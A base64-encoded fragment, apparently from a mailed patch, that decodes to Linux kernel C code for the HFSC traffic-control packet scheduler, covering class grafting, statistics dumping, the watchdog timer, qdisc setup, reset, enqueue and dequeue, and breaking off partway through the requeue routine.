Lw0KKwljbCA9IGhmc2NfZmluZF9jbGFzcyhUQ19IX01BS0UoVENfSF9NQUoo c2NoLT5oYW5kbGUpLCBxLT5kZWZjbHMpLCBzY2gpOw0KKwlpZiAoY2wgPT0g TlVMTCB8fCBjbC0+bGV2ZWwgPiAwKQ0KKwkJcmV0dXJuIE5VTEw7DQorDQor CXJldHVybiBjbDsNCit9DQorDQorc3RhdGljIGludA0KK2hmc2NfZ3JhZnRf Y2xhc3Moc3RydWN0IFFkaXNjICpzY2gsIHVuc2lnbmVkIGxvbmcgYXJnLCBz dHJ1Y3QgUWRpc2MgKm5ldywNCisgICAgICAgICAgICAgICAgIHN0cnVjdCBR ZGlzYyAqKm9sZCkNCit7DQorCXN0cnVjdCBoZnNjX2NsYXNzICpjbCA9IChz dHJ1Y3QgaGZzY19jbGFzcyAqKWFyZzsNCisNCisJaWYgKGNsID09IE5VTEwp DQorCQlyZXR1cm4gLUVOT0VOVDsNCisJaWYgKGNsLT5sZXZlbCA+IDApDQor CQlyZXR1cm4gLUVJTlZBTDsNCisJaWYgKG5ldyA9PSBOVUxMKSB7DQorCQlu ZXcgPSBxZGlzY19jcmVhdGVfZGZsdChzY2gtPmRldiwgJnBmaWZvX3FkaXNj X29wcyk7DQorCQlpZiAobmV3ID09IE5VTEwpDQorCQkJbmV3ID0gJm5vb3Bf cWRpc2M7DQorCX0NCisNCisJc2NoX3RyZWVfbG9jayhzY2gpOw0KKwloZnNj X3B1cmdlX3F1ZXVlKHNjaCwgY2wpOw0KKwkqb2xkID0geGNoZygmY2wtPnFk aXNjLCBuZXcpOw0KKwlzY2hfdHJlZV91bmxvY2soc2NoKTsNCisJcmV0dXJu IDA7DQorfQ0KKw0KK3N0YXRpYyBzdHJ1Y3QgUWRpc2MgKg0KK2hmc2NfY2xh c3NfbGVhZihzdHJ1Y3QgUWRpc2MgKnNjaCwgdW5zaWduZWQgbG9uZyBhcmcp DQorew0KKwlzdHJ1Y3QgaGZzY19jbGFzcyAqY2wgPSAoc3RydWN0IGhmc2Nf Y2xhc3MgKilhcmc7DQorDQorCWlmIChjbCAhPSBOVUxMICYmIGNsLT5sZXZl bCA9PSAwKQ0KKwkJcmV0dXJuIGNsLT5xZGlzYzsNCisNCisJcmV0dXJuIE5V TEw7DQorfQ0KKw0KK3N0YXRpYyB1bnNpZ25lZCBsb25nDQoraGZzY19nZXRf Y2xhc3Moc3RydWN0IFFkaXNjICpzY2gsIHVfaW50MzJfdCBjbGFzc2lkKQ0K K3sNCisJc3RydWN0IGhmc2NfY2xhc3MgKmNsID0gaGZzY19maW5kX2NsYXNz KGNsYXNzaWQsIHNjaCk7DQorDQorCWlmIChjbCAhPSBOVUxMKQ0KKwkJY2wt PnJlZmNudCsrOw0KKw0KKwlyZXR1cm4gKHVuc2lnbmVkIGxvbmcpY2w7DQor fQ0KKw0KK3N0YXRpYyB2b2lkDQoraGZzY19wdXRfY2xhc3Moc3RydWN0IFFk aXNjICpzY2gsIHVuc2lnbmVkIGxvbmcgYXJnKQ0KK3sNCisJc3RydWN0IGhm c2NfY2xhc3MgKmNsID0gKHN0cnVjdCBoZnNjX2NsYXNzICopYXJnOw0KKw0K KwlpZiAoLS1jbC0+cmVmY250ID09IDApDQorCQloZnNjX2Rlc3Ryb3lfY2xh c3Moc2NoLCBjbCk7DQorfQ0KKw0KK3N0YXRpYyB1bnNpZ25lZCBsb25nDQor aGZzY19iaW5kX3RjZihzdHJ1Y3QgUWRpc2MgKnNjaCwgdW5zaWduZWQgbG9u ZyBwYXJlbnQsIHVfaW50MzJfdCBjbGFzc2lkKQ0KK3sNCisJc3RydWN0IGhm c2NfY2xhc3MgKnAgPSAoc3RydWN0IGhmc2NfY2xhc3MgKilwYXJlbnQ7DQor CXN0cnVjdCBoZnNjX2NsYXNzICpjbCA9IGhmc2NfZmluZF9jbGFzcyhjbGFz c2lkLCBzY2gpOw0KKw0KKwlpZiAoY2wgIT0gTlVMTCkgew0KKwkJaWYgKHAg IT0gTlVMTCAmJiBwLT5sZXZlbCA8PSBjbC0+bGV2ZWwpDQorCQkJcmV0dXJu IDA7DQorCQljbC0+ZmlsdGVyX2NudCsrOw0KKwl9DQorDQorCXJldHVybiAo dW5zaWduZWQgbG9uZyljbDsNCit9DQorDQorc3RhdGljIHZvaWQNCitoZnNj X3VuYmluZF90Y2Yoc3RydWN0IFFkaXNjICpzY2gsIHVuc2lnbmVkIGxvbmcg YXJnKQ0KK3sNCisJc3RydWN0IGhmc2NfY2xhc3MgKmNsID0gKHN0cnVjdCBo ZnNjX2NsYXNzICopYXJnOw0KKw0KKwljbC0+ZmlsdGVyX2NudC0tOw0KK30N CisNCitzdGF0aWMgc3RydWN0IHRjZl9wcm90byAqKg0KK2hmc2NfdGNmX2No YWluKHN0cnVjdCBRZGlzYyAqc2NoLCB1bnNpZ25lZCBsb25nIGFyZykNCit7 DQorCXN0cnVjdCBoZnNjX3NjaGVkICpxID0gKHN0cnVjdCBoZnNjX3NjaGVk ICopc2NoLT5kYXRhOw0KKwlzdHJ1Y3QgaGZzY19jbGFzcyAqY2wgPSAoc3Ry dWN0IGhmc2NfY2xhc3MgKilhcmc7DQorDQorCWlmIChjbCA9PSBOVUxMKQ0K KwkJY2wgPSAmcS0+cm9vdDsNCisNCisJcmV0dXJuICZjbC0+ZmlsdGVyX2xp c3Q7DQorfQ0KKw0KK3N0YXRpYyBpbnQNCitoZnNjX2R1bXBfc2Moc3RydWN0 IHNrX2J1ZmYgKnNrYiwgaW50IGF0dHIsIHN0cnVjdCBpbnRlcm5hbF9zYyAq c2MpDQorew0KKwlzdHJ1Y3QgdGNfc2VydmljZV9jdXJ2ZSB0c2M7DQorDQor CXRzYy5tMSA9IHNtMm0oc2MtPnNtMSk7DQorCXRzYy5kICA9IGR4MmQoc2Mt PmR4KTsNCisJdHNjLm0yID0gc20ybShzYy0+c20yKTsNCisJUlRBX1BVVChz a2IsIGF0dHIsIHNpemVvZih0c2MpLCAmdHNjKTsNCisNCisJcmV0dXJuIHNr Yi0+bGVuOw0KKw0KKyBydGF0dHJfZmFpbHVyZToNCisJcmV0dXJuIC0xOw0K K30NCisNCitzdGF0aWMgaW5saW5lIGludA0KK2hmc2NfZHVtcF9jdXJ2ZXMo c3RydWN0IHNrX2J1ZmYgKnNrYiwgc3RydWN0IGhmc2NfY2xhc3MgKmNsKQ0K K3sNCisJaWYgKChjbC0+Y2xfZmxhZ3MgJiBIRlNDX1JTQykgJiYNCisJICAg IChoZnNjX2R1bXBfc2Moc2tiLCBUQ0FfSEZTQ19SU0MsICZjbC0+Y2xfcnNj KSA8IDApKQ0KKwkJZ290byBydGF0dHJfZmFpbHVyZTsNCisNCisJaWYgKChj bC0+Y2xfZmxhZ3MgJiBIRlNDX0ZTQykgJiYNCisJICAgIChoZnNjX2R1bXBf c2Moc2tiLCBUQ0FfSEZTQ19GU0MsICZjbC0+Y2xfZnNjKSA8IDApKQ0KKwkJ Z290byBydGF0dHJfZmFpbHVyZTsNCisNCisJaWYgKChjbC0+Y2xfZmxhZ3Mg JiBIRlNDX1VTQykgJiYNCisJICAgIChoZnNjX2R1bXBfc2Moc2tiLCBUQ0Ff SEZTQ19VU0MsICZjbC0+Y2xfdXNjKSA8IDApKQ0KKwkJZ290byBydGF0dHJf ZmFpbHVyZTsNCisNCisJcmV0dXJuIHNrYi0+bGVuOw0KKw0KKyBydGF0dHJf ZmFpbHVyZToNCisJcmV0dXJuIC0xOw0KK30NCisNCitzdGF0aWMgaW5saW5l IGludA0KK2hmc2NfZHVtcF9zdGF0cyhzdHJ1Y3Qgc2tfYnVmZiAqc2tiLCBz dHJ1Y3QgaGZzY19jbGFzcyAqY2wpDQorew0KKwljbC0+c3RhdHMucWxlbiA9 IGNsLT5xZGlzYy0+cS5xbGVuOw0KKwlpZiAocWRpc2NfY29weV9zdGF0cyhz a2IsICZjbC0+c3RhdHMpIDwgMCkNCisJCWdvdG8gcnRhdHRyX2ZhaWx1cmU7 DQorDQorCXJldHVybiBza2ItPmxlbjsNCisNCisgcnRhdHRyX2ZhaWx1cmU6 DQorCXJldHVybiAtMTsNCit9DQorDQorc3RhdGljIGlubGluZSBpbnQNCito ZnNjX2R1bXBfeHN0YXRzKHN0cnVjdCBza19idWZmICpza2IsIHN0cnVjdCBo ZnNjX2NsYXNzICpjbCkNCit7DQorCXN0cnVjdCB0Y19oZnNjX3N0YXRzIHhz dGF0czsNCisNCisJeHN0YXRzLmxldmVsICA9IGNsLT5sZXZlbDsNCisJeHN0 YXRzLnBlcmlvZCA9IGNsLT5jbF92dHBlcmlvZDsNCisJeHN0YXRzLndvcmsg ICA9IGNsLT5jbF90b3RhbDsNCisJeHN0YXRzLnJ0d29yayA9IGNsLT5jbF9j dW11bDsNCisJUlRBX1BVVChza2IsIFRDQV9YU1RBVFMsIHNpemVvZih4c3Rh dHMpLCAmeHN0YXRzKTsNCisNCisJcmV0dXJuIHNrYi0+bGVuOw0KKw0KKyBy dGF0dHJfZmFpbHVyZToNCisJcmV0dXJuIC0xOw0KK30NCisNCitzdGF0aWMg aW50DQoraGZzY19kdW1wX2NsYXNzKHN0cnVjdCBRZGlzYyAqc2NoLCB1bnNp Z25lZCBsb25nIGFyZywgc3RydWN0IHNrX2J1ZmYgKnNrYiwNCisgICAgICAg ICAgICAgICAgc3RydWN0IHRjbXNnICp0Y20pDQorew0KKwlzdHJ1Y3QgaGZz Y19jbGFzcyAqY2wgPSAoc3RydWN0IGhmc2NfY2xhc3MgKilhcmc7DQorCXVu c2lnbmVkIGNoYXIgKmIgPSBza2ItPnRhaWw7DQorCXN0cnVjdCBydGF0dHIg KnJ0YSA9IChzdHJ1Y3QgcnRhdHRyICopYjsNCisJDQorCXRjbS0+dGNtX3Bh cmVudCA9IGNsLT5jbF9wYXJlbnQgPyBjbC0+Y2xfcGFyZW50LT5jbGFzc2lk IDogVENfSF9ST09UOw0KKwl0Y20tPnRjbV9oYW5kbGUgPSBjbC0+Y2xhc3Np ZDsNCisJaWYgKGNsLT5sZXZlbCA9PSAwKQ0KKwkJdGNtLT50Y21faW5mbyA9 IGNsLT5xZGlzYy0+aGFuZGxlOw0KKw0KKwlSVEFfUFVUKHNrYiwgVENBX09Q VElPTlMsIDAsIE5VTEwpOw0KKwlpZiAoaGZzY19kdW1wX2N1cnZlcyhza2Is IGNsKSA8IDApDQorCQlnb3RvIHJ0YXR0cl9mYWlsdXJlOw0KKwlydGEtPnJ0 YV9sZW4gPSBza2ItPnRhaWwgLSBiOw0KKw0KKwlpZiAoKGhmc2NfZHVtcF9z dGF0cyhza2IsIGNsKSA8IDApIHx8DQorCSAgICAoaGZzY19kdW1wX3hzdGF0 cyhza2IsIGNsKSA8IDApKQ0KKwkJZ290byBydGF0dHJfZmFpbHVyZTsNCisN CisJcmV0dXJuIHNrYi0+bGVuOw0KKwkNCisgcnRhdHRyX2ZhaWx1cmU6DQor CXNrYl90cmltKHNrYiwgYiAtIHNrYi0+ZGF0YSk7DQorCXJldHVybiAtMTsN Cit9DQorDQorc3RhdGljIHZvaWQNCitoZnNjX3dhbGsoc3RydWN0IFFkaXNj ICpzY2gsIHN0cnVjdCBxZGlzY193YWxrZXIgKmFyZykNCit7DQorCXN0cnVj dCBoZnNjX3NjaGVkICpxID0gKHN0cnVjdCBoZnNjX3NjaGVkICopc2NoLT5k YXRhOw0KKwlzdHJ1Y3QgaGZzY19jbGFzcyAqY2w7DQorCXVuc2lnbmVkIGlu dCBpOw0KKw0KKwlpZiAoYXJnLT5zdG9wKQ0KKwkJcmV0dXJuOw0KKw0KKwlm b3IgKGkgPSAwOyBpIDwgSEZTQ19IU0laRTsgaSsrKSB7DQorCQlsaXN0X2Zv cl9lYWNoX2VudHJ5KGNsLCAmcS0+Y2xoYXNoW2ldLCBobGlzdCkgew0KKwkJ CWlmIChhcmctPmNvdW50IDwgYXJnLT5za2lwKSB7DQorCQkJCWFyZy0+Y291 bnQrKzsNCisJCQkJY29udGludWU7DQorCQkJfQ0KKwkJCWlmIChhcmctPmZu KHNjaCwgKHVuc2lnbmVkIGxvbmcpY2wsIGFyZykgPCAwKSB7DQorCQkJCWFy Zy0+c3RvcCA9IDE7DQorCQkJCXJldHVybjsNCisJCQl9DQorCQkJYXJnLT5j b3VudCsrOw0KKwkJfQ0KKwl9DQorfQ0KKw0KK3N0YXRpYyB2b2lkDQoraGZz Y193YXRjaGRvZyh1bnNpZ25lZCBsb25nIGFyZykNCit7DQorCXN0cnVjdCBR ZGlzYyAqc2NoID0gKHN0cnVjdCBRZGlzYyAqKWFyZzsNCisNCisJc2NoLT5m bGFncyAmPSB+VENRX0ZfVEhST1RUTEVEOw0KKwluZXRpZl9zY2hlZHVsZShz Y2gtPmRldik7DQorfQ0KKw0KK3N0YXRpYyB2b2lkDQoraGZzY19zY2hlZHVs ZV93YXRjaGRvZyhzdHJ1Y3QgUWRpc2MgKnNjaCwgdV9pbnQ2NF90IGN1cl90 aW1lKQ0KK3sNCisJc3RydWN0IGhmc2Nfc2NoZWQgKnEgPSAoc3RydWN0IGhm c2Nfc2NoZWQgKilzY2gtPmRhdGE7DQorCXN0cnVjdCBoZnNjX2NsYXNzICpj bDsNCisJdV9pbnQ2NF90IG5leHRfdGltZSA9IDA7DQorCWxvbmcgZGVsYXk7 DQorDQorCWlmICgoY2wgPSBlbGxpc3RfZ2V0X21pbmVsKCZxLT5lbGlnaWJs ZSkpICE9IE5VTEwpDQorCQluZXh0X3RpbWUgPSBjbC0+Y2xfZTsNCisJaWYg KHEtPnJvb3QuY2xfY2ZtaW4gIT0gMCkgew0KKwkJaWYgKG5leHRfdGltZSA9 PSAwIHx8IG5leHRfdGltZSA+IHEtPnJvb3QuY2xfY2ZtaW4pDQorCQkJbmV4 dF90aW1lID0gcS0+cm9vdC5jbF9jZm1pbjsNCisJfQ0KKwlBU1NFUlQobmV4 dF90aW1lICE9IDApOw0KKwlkZWxheSA9IG5leHRfdGltZSAtIGN1cl90aW1l Ow0KKwlkZWxheSA9IFBTQ0hFRF9VUzJKSUZGSUUoZGVsYXkpOw0KKw0KKwlz Y2gtPmZsYWdzIHw9IFRDUV9GX1RIUk9UVExFRDsNCisJbW9kX3RpbWVyKCZx LT53ZF90aW1lciwgamlmZmllcyArIGRlbGF5KTsNCit9DQorDQorc3RhdGlj IGludA0KK2hmc2NfaW5pdF9xZGlzYyhzdHJ1Y3QgUWRpc2MgKnNjaCwgc3Ry dWN0IHJ0YXR0ciAqb3B0KQ0KK3sNCisJc3RydWN0IGhmc2Nfc2NoZWQgKnEg PSAoc3RydWN0IGhmc2Nfc2NoZWQgKilzY2gtPmRhdGE7DQorCXN0cnVjdCB0 Y19oZnNjX3FvcHQgKnFvcHQ7DQorCXVuc2lnbmVkIGludCBpOw0KKw0KKwlp ZiAob3B0ID09IE5VTEwgfHwgUlRBX1BBWUxPQUQob3B0KSA8IHNpemVvZigq cW9wdCkpDQorCQlyZXR1cm4gLUVJTlZBTDsNCisJcW9wdCA9IFJUQV9EQVRB KG9wdCk7DQorDQorCW1lbXNldChxLCAwLCBzaXplb2Yoc3RydWN0IGhmc2Nf c2NoZWQpKTsNCisJc2NoLT5zdGF0cy5sb2NrID0gJnNjaC0+ZGV2LT5xdWV1 ZV9sb2NrOw0KKw0KKwlxLT5kZWZjbHMgPSBxb3B0LT5kZWZjbHM7DQorCWZv ciAoaSA9IDA7IGkgPCBIRlNDX0hTSVpFOyBpKyspDQorCQlJTklUX0xJU1Rf SEVBRCgmcS0+Y2xoYXNoW2ldKTsNCisJSU5JVF9MSVNUX0hFQUQoJnEtPmVs aWdpYmxlKTsNCisJSU5JVF9MSVNUX0hFQUQoJnEtPmRyb3BsaXN0KTsNCisN CisJcS0+cm9vdC5yZWZjbnQgID0gMTsNCisJcS0+cm9vdC5jbGFzc2lkID0g c2NoLT5oYW5kbGU7DQorCXEtPnJvb3Quc2NoZWQgICA9IHE7DQorCXEtPnJv b3QucWRpc2MgPSBxZGlzY19jcmVhdGVfZGZsdChzY2gtPmRldiwgJnBmaWZv X3FkaXNjX29wcyk7DQorCWlmIChxLT5yb290LnFkaXNjID09IE5VTEwpDQor CQlxLT5yb290LnFkaXNjID0gJm5vb3BfcWRpc2M7DQorCXEtPnJvb3Quc3Rh dHMubG9jayA9ICZzY2gtPmRldi0+cXVldWVfbG9jazsNCisJSU5JVF9MSVNU X0hFQUQoJnEtPnJvb3QuY2hpbGRyZW4pOw0KKwlJTklUX0xJU1RfSEVBRCgm cS0+cm9vdC5hY3RsaXN0KTsNCisNCisJbGlzdF9hZGQoJnEtPnJvb3QuaGxp c3QsICZxLT5jbGhhc2hbaGZzY19oYXNoKHEtPnJvb3QuY2xhc3NpZCldKTsN CisNCisJaW5pdF90aW1lcigmcS0+d2RfdGltZXIpOw0KKwlxLT53ZF90aW1l ci5mdW5jdGlvbiA9IGhmc2Nfd2F0Y2hkb2c7DQorCXEtPndkX3RpbWVyLmRh dGEgPSAodW5zaWduZWQgbG9uZylzY2g7DQorDQorCXJldHVybiAwOw0KK30N CisNCitzdGF0aWMgaW50DQoraGZzY19jaGFuZ2VfcWRpc2Moc3RydWN0IFFk aXNjICpzY2gsIHN0cnVjdCBydGF0dHIgKm9wdCkNCit7DQorCXN0cnVjdCBo ZnNjX3NjaGVkICpxID0gKHN0cnVjdCBoZnNjX3NjaGVkICopc2NoLT5kYXRh Ow0KKwlzdHJ1Y3QgdGNfaGZzY19xb3B0ICpxb3B0Ow0KKw0KKwlpZiAob3B0 ID09IE5VTEwgfHwgUlRBX1BBWUxPQUQob3B0KSA8IHNpemVvZigqcW9wdCkp DQorCQlyZXR1cm4gLUVJTlZBTDs7DQorCXFvcHQgPSBSVEFfREFUQShvcHQp Ow0KKw0KKwlzY2hfdHJlZV9sb2NrKHNjaCk7DQorCXEtPmRlZmNscyA9IHFv cHQtPmRlZmNsczsNCisJc2NoX3RyZWVfdW5sb2NrKHNjaCk7DQorDQorCXJl dHVybiAwOw0KK30NCisNCitzdGF0aWMgdm9pZA0KK2hmc2NfcmVzZXRfY2xh c3Moc3RydWN0IGhmc2NfY2xhc3MgKmNsKQ0KK3sNCisJY2wtPmNsX3RvdGFs ICAgICAgICA9IDA7DQorCWNsLT5jbF9jdW11bCAgICAgICAgPSAwOw0KKwlj bC0+Y2xfZCAgICAgICAgICAgID0gMDsNCisJY2wtPmNsX2UgICAgICAgICAg ICA9IDA7DQorCWNsLT5jbF92dCAgICAgICAgICAgPSAwOw0KKwljbC0+Y2xf dnRhZGogICAgICAgID0gMDsNCisJY2wtPmNsX3Z0b2ZmICAgICAgICA9IDA7 DQorCWNsLT5jbF9jdnRtaW4gICAgICAgPSAwOw0KKwljbC0+Y2xfY3Z0bWF4 ICAgICAgID0gMDsNCisJY2wtPmNsX3Z0cGVyaW9kICAgICA9IDA7DQorCWNs LT5jbF9wYXJlbnRwZXJpb2QgPSAwOw0KKwljbC0+Y2xfZiAgICAgICAgICAg ID0gMDsNCisJY2wtPmNsX215ZiAgICAgICAgICA9IDA7DQorCWNsLT5jbF9t eWZhZGogICAgICAgPSAwOw0KKwljbC0+Y2xfY2ZtaW4gICAgICAgID0gMDsN CisJY2wtPmNsX25hY3RpdmUgICAgICA9IDA7DQorCUlOSVRfTElTVF9IRUFE KCZjbC0+YWN0bGlzdCk7DQorCXFkaXNjX3Jlc2V0KGNsLT5xZGlzYyk7DQor DQorCWlmIChjbC0+Y2xfZmxhZ3MgJiBIRlNDX1JTQykNCisJCXJ0c2NfaW5p dCgmY2wtPmNsX2RlYWRsaW5lLCAmY2wtPmNsX3JzYywgMCwgMCk7DQorCWlm IChjbC0+Y2xfZmxhZ3MgJiBIRlNDX0ZTQykNCisJCXJ0c2NfaW5pdCgmY2wt PmNsX3ZpcnR1YWwsICZjbC0+Y2xfZnNjLCAwLCAwKTsNCisJaWYgKGNsLT5j bF9mbGFncyAmIEhGU0NfVVNDKQ0KKwkJcnRzY19pbml0KCZjbC0+Y2xfdWxp bWl0LCAmY2wtPmNsX3VzYywgMCwgMCk7DQorfQ0KKw0KK3N0YXRpYyB2b2lk DQoraGZzY19yZXNldF9xZGlzYyhzdHJ1Y3QgUWRpc2MgKnNjaCkNCit7DQor CXN0cnVjdCBoZnNjX3NjaGVkICpxID0gKHN0cnVjdCBoZnNjX3NjaGVkICop c2NoLT5kYXRhOw0KKwlzdHJ1Y3QgaGZzY19jbGFzcyAqY2w7DQorCXVuc2ln bmVkIGludCBpOw0KKw0KKwlmb3IgKGkgPSAwOyBpIDwgSEZTQ19IU0laRTsg aSsrKSB7DQorCQlsaXN0X2Zvcl9lYWNoX2VudHJ5KGNsLCAmcS0+Y2xoYXNo W2ldLCBobGlzdCkNCisJCQloZnNjX3Jlc2V0X2NsYXNzKGNsKTsNCisJfQ0K Kw0KKwlJTklUX0xJU1RfSEVBRCgmcS0+ZWxpZ2libGUpOw0KKwlJTklUX0xJ U1RfSEVBRCgmcS0+ZHJvcGxpc3QpOw0KKwlxLT5sYXN0X3htaXQgPSBOVUxM Ow0KKwlkZWxfdGltZXIoJnEtPndkX3RpbWVyKTsNCisJc2NoLT5mbGFncyAm PSB+VENRX0ZfVEhST1RUTEVEOw0KKwlzY2gtPnEucWxlbiA9IDA7DQorfQ0K Kw0KK3N0YXRpYyB2b2lkDQoraGZzY19kZXN0cm95X3FkaXNjKHN0cnVjdCBR ZGlzYyAqc2NoKQ0KK3sNCisJc3RydWN0IGhmc2Nfc2NoZWQgKnEgPSAoc3Ry dWN0IGhmc2Nfc2NoZWQgKilzY2gtPmRhdGE7DQorCXN0cnVjdCBoZnNjX2Ns YXNzICpjbCwgKm5leHQ7DQorCXVuc2lnbmVkIGludCBpOw0KKw0KKwlmb3Ig KGkgPSAwOyBpIDwgSEZTQ19IU0laRTsgaSsrKSB7DQorCQlsaXN0X2Zvcl9l YWNoX2VudHJ5X3NhZmUoY2wsIG5leHQsICZxLT5jbGhhc2hbaV0sIGhsaXN0 KQ0KKwkJCWhmc2NfZGVzdHJveV9jbGFzcyhzY2gsIGNsKTsNCisJfQ0KKw0K KwlkZWxfdGltZXIoJnEtPndkX3RpbWVyKTsNCit9DQorDQorc3RhdGljIGlu dA0KK2hmc2NfZHVtcF9xZGlzYyhzdHJ1Y3QgUWRpc2MgKnNjaCwgc3RydWN0 IHNrX2J1ZmYgKnNrYikNCit7DQorCXN0cnVjdCBoZnNjX3NjaGVkICpxID0g KHN0cnVjdCBoZnNjX3NjaGVkICopc2NoLT5kYXRhOw0KKwl1bnNpZ25lZCBj aGFyICpiID0gc2tiLT50YWlsOw0KKwlzdHJ1Y3QgdGNfaGZzY19xb3B0IHFv cHQ7DQorDQorCXFvcHQuZGVmY2xzID0gcS0+ZGVmY2xzOw0KKwlSVEFfUFVU KHNrYiwgVENBX09QVElPTlMsIHNpemVvZihxb3B0KSwgJnFvcHQpOw0KKw0K KwlzY2gtPnN0YXRzLnFsZW4gPSBzY2gtPnEucWxlbjsNCisJaWYgKHFkaXNj X2NvcHlfc3RhdHMoc2tiLCAmc2NoLT5zdGF0cykgPCAwKQ0KKwkJZ290byBy dGF0dHJfZmFpbHVyZTsNCisNCisJcmV0dXJuIHNrYi0+bGVuOw0KKwkNCisg cnRhdHRyX2ZhaWx1cmU6DQorCXNrYl90cmltKHNrYiwgYiAtIHNrYi0+ZGF0 YSk7DQorCXJldHVybiAtMTsNCit9DQorDQorc3RhdGljIGludA0KK2hmc2Nf ZW5xdWV1ZShzdHJ1Y3Qgc2tfYnVmZiAqc2tiLCBzdHJ1Y3QgUWRpc2MgKnNj aCkNCit7DQorCXN0cnVjdCBoZnNjX2NsYXNzICpjbCA9IGhmc2NfY2xhc3Np Znkoc2tiLCBzY2gpOw0KKwl1bnNpZ25lZCBpbnQgbGVuID0gc2tiLT5sZW47 DQorCWludCBlcnI7DQorDQorCWlmIChjbCA9PSBOVUxMKSB7DQorCQlrZnJl ZV9za2Ioc2tiKTsNCisJCXNjaC0+c3RhdHMuZHJvcHMrKzsNCisJCXJldHVy biBORVRfWE1JVF9EUk9QOw0KKwl9DQorDQorCWVyciA9IGNsLT5xZGlzYy0+ ZW5xdWV1ZShza2IsIGNsLT5xZGlzYyk7DQorCWlmICh1bmxpa2VseShlcnIg IT0gTkVUX1hNSVRfU1VDQ0VTUykpIHsNCisJCWNsLT5zdGF0cy5kcm9wcysr Ow0KKwkJc2NoLT5zdGF0cy5kcm9wcysrOw0KKwkJcmV0dXJuIGVycjsNCisJ fQ0KKw0KKwlpZiAoY2wtPnFkaXNjLT5xLnFsZW4gPT0gMSkNCisJCXNldF9h Y3RpdmUoY2wsIGxlbik7DQorDQorCWNsLT5zdGF0cy5wYWNrZXRzKys7DQor CWNsLT5zdGF0cy5ieXRlcyArPSBsZW47DQorCXNjaC0+c3RhdHMucGFja2V0 cysrOw0KKwlzY2gtPnN0YXRzLmJ5dGVzICs9IGxlbjsNCisJc2NoLT5xLnFs ZW4rKzsNCisNCisJcmV0dXJuIE5FVF9YTUlUX1NVQ0NFU1M7DQorfQ0KKw0K K3N0YXRpYyBzdHJ1Y3Qgc2tfYnVmZiAqDQoraGZzY19kZXF1ZXVlKHN0cnVj dCBRZGlzYyAqc2NoKQ0KK3sNCisJc3RydWN0IGhmc2Nfc2NoZWQgKnEgPSAo c3RydWN0IGhmc2Nfc2NoZWQgKilzY2gtPmRhdGE7DQorCXN0cnVjdCBoZnNj X2NsYXNzICpjbDsNCisJc3RydWN0IHNrX2J1ZmYgKnNrYjsNCisJdV9pbnQ2 NF90IGN1cl90aW1lOw0KKwl1bnNpZ25lZCBpbnQgbmV4dF9sZW47DQorCWlu dCByZWFsdGltZSA9IDA7DQorDQorCWlmIChzY2gtPnEucWxlbiA9PSAwKQ0K KwkJcmV0dXJuIE5VTEw7DQorDQorCVBTQ0hFRF9HRVRfVElNRShjdXJfdGlt ZSk7DQorDQorCS8qDQorCSAqIGlmIHRoZXJlIGFyZSBlbGlnaWJsZSBjbGFz c2VzLCB1c2UgcmVhbC10aW1lIGNyaXRlcmlhLg0KKwkgKiBmaW5kIHRoZSBj bGFzcyB3aXRoIHRoZSBtaW5pbXVtIGRlYWRsaW5lIGFtb25nDQorCSAqIHRo ZSBlbGlnaWJsZSBjbGFzc2VzLg0KKwkgKi8NCisJaWYgKChjbCA9IGVsbGlz dF9nZXRfbWluZGwoJnEtPmVsaWdpYmxlLCBjdXJfdGltZSkpICE9IE5VTEwp IHsNCisJCXJlYWx0aW1lID0gMTsNCisJfSBlbHNlIHsNCisJCS8qDQorCQkg KiB1c2UgbGluay1zaGFyaW5nIGNyaXRlcmlhDQorCQkgKiBnZXQgdGhlIGNs YXNzIHdpdGggdGhlIG1pbmltdW0gdnQgaW4gdGhlIGhpZXJhcmNoeQ0KKwkJ ICovDQorCQljbCA9IGFjdGxpc3RfZ2V0X21pbnZ0KCZxLT5yb290LCBjdXJf dGltZSk7DQorCQlpZiAoY2wgPT0gTlVMTCkgew0KKwkJCXNjaC0+c3RhdHMu b3ZlcmxpbWl0cysrOw0KKwkJCWlmICghbmV0aWZfcXVldWVfc3RvcHBlZChz Y2gtPmRldikpDQorCQkJCWhmc2Nfc2NoZWR1bGVfd2F0Y2hkb2coc2NoLCBj dXJfdGltZSk7DQorCQkJcmV0dXJuIE5VTEw7DQorCQl9DQorCX0NCisNCisJ c2tiID0gY2wtPnFkaXNjLT5kZXF1ZXVlKGNsLT5xZGlzYyk7DQorCUFTU0VS VChza2IgIT0gTlVMTCk7DQorDQorCXVwZGF0ZV92ZihjbCwgc2tiLT5sZW4s IGN1cl90aW1lKTsNCisJaWYgKHJlYWx0aW1lKQ0KKwkJY2wtPmNsX2N1bXVs ICs9IHNrYi0+bGVuOw0KKw0KKwlpZiAoY2wtPnFkaXNjLT5xLnFsZW4gIT0g MCkgew0KKwkJaWYgKGNsLT5jbF9mbGFncyAmIEhGU0NfUlNDKSB7DQorCQkJ LyogdXBkYXRlIGVkICovDQorCQkJbmV4dF9sZW4gPSBxZGlzY19wZWVrX2xl bihjbC0+cWRpc2MpOw0KKwkJCWlmIChyZWFsdGltZSkNCisJCQkJdXBkYXRl X2VkKGNsLCBuZXh0X2xlbik7DQorCQkJZWxzZQ0KKwkJCQl1cGRhdGVfZChj bCwgbmV4dF9sZW4pOw0KKwkJfQ0KKwl9IGVsc2Ugew0KKwkJLyogdGhlIGNs YXNzIGJlY29tZXMgcGFzc2l2ZSAqLw0KKwkJc2V0X3Bhc3NpdmUoY2wpOw0K Kwl9DQorDQorCXEtPmxhc3RfeG1pdCA9IGNsOw0KKwlzY2gtPmZsYWdzICY9 IH5UQ1FfRl9USFJPVFRMRUQ7DQorCXNjaC0+cS5xbGVuLS07DQorDQorCXJl dHVybiBza2I7DQorfQ0KKw0KK3N0YXRpYyBpbnQNCitoZnNjX3JlcXVldWUo c3RydWN0IHNrX2J1ZmYgKnNrYiwgc3RydWN0IFFkaXNjICpzY2gpDQorew0K KwlzdHJ1Y3QgaGZzY19zY2hlZCAqcSA9IChzdHJ1Y3QgaGZzY19zY2hlZCAq KXNjaC0+ZGF0YTsNCisJc3RydWN0IGhmc2NfY2xhc3MgKmNsID0gcS0+bGFz dF94bWl0Ow0KKwl1bnNpZ25lZCBpbnQgbGVuID0gc2tiLT5sZW47DQorCWlu dCByZXQ7DQorDQorCWlmIChjbCA9PSBOVUxMKSB7DQorCQlrZnJlZV9za2Io c2tiKTsNCisJCXNjaC0+c3RhdHMuZHJvcHMrKzsNCisJCXJldHVybiBORVRf WE1JVF9EUk9QOw0KKwl9DQorDQorCXJldCA9IGNsLT5xZGlzYy0+b3BzLT5y 